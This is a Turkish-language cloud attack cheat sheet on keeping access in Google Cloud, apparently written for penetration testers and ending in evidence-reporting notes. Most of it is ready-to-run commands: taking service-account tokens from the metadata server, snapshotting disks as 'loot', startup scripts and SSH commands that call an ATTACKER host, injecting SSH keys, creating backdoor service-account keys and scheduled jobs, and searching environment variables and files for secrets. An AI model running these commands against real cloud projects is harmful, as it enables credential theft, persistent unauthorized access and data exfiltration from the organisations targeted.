Skip to content

GCP - Cloud Shell Persistence

GCP kalıcılık

GCP - Cloud Shell Persistence — GCP ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

  2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

  3. Kalıcı kimlik veya tetikleyici yerleştir.

  4. İkinci oturumdan erişimi doğrula.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

GCP - Cloud Shell Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Terminal window
curl -sH 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
Terminal window
gcloud compute disks list
Terminal window
gcloud compute disks snapshot DISK --snapshot-names loot --zone ZONE
Terminal window
gcloud compute instances list
Terminal window
gcloud compute instances describe INST --zone ZONE
Terminal window
gcloud compute instances get-serial-port-output INST --zone ZONE
Terminal window
gcloud compute ssh INST --zone ZONE --command 'id;curl ATTACKER'
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata startup-script='#!/bin/bash
curl ATTACKER'
Terminal window
gcloud compute instances add-metadata INST --zone ZONE --metadata-from-file ssh-keys=keys.txt

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
gcloud iam service-accounts keys create persist.json --iam-account SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud scheduler jobs create http persist --schedule='0 * * * *' --uri=https://ATTACKER/ --http-method=GET
Terminal window
gcloud functions deploy persist --runtime python312 --trigger-http --source .

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt